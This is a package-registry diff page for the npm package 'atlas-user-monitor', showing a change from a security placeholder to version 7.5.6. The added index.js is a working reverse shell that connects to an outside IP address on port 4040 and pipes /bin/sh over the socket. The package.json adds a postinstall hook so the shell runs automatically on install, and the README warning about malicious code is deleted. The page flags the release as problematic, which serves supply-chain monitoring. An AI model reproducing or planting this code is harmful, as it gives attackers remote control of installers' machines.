atlas-user-monitor 0.0.1-security → 7.5.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of atlas-user-monitor might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +26 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,26 @@
1
+ const { exec } = require('child_process');
2
+ const net = require('net');
3
+
4
+ const targetIP = '154.61.80.228';
5
+ const targetPort = 4040;
6
+
7
+ const client = new net.Socket();
8
+
9
+ client.connect(targetPort, targetIP, () => {
10
+ console.log('Connected to the target IP and port');
11
+ const sh = exec('/bin/sh', (error, stdout, stderr) => {
12
+ if (error) {
13
+ console.error(`exec error: ${error}`);
14
+ return;
15
+ }
16
+ console.log(`stdout: ${stdout}`);
17
+ console.error(`stderr: ${stderr}`);
18
+ });
19
+
20
+ client.write('Connected to the target IP and port\n');
21
+
22
+ sh.stdout.pipe(client);
23
+ sh.stderr.pipe(client);
24
+
25
+ client.pipe(sh.stdin);
26
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "atlas-user-monitor",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "7.5.6",
4
+ "description": "Snehil",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "Snehil",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=atlas-user-monitor for more information.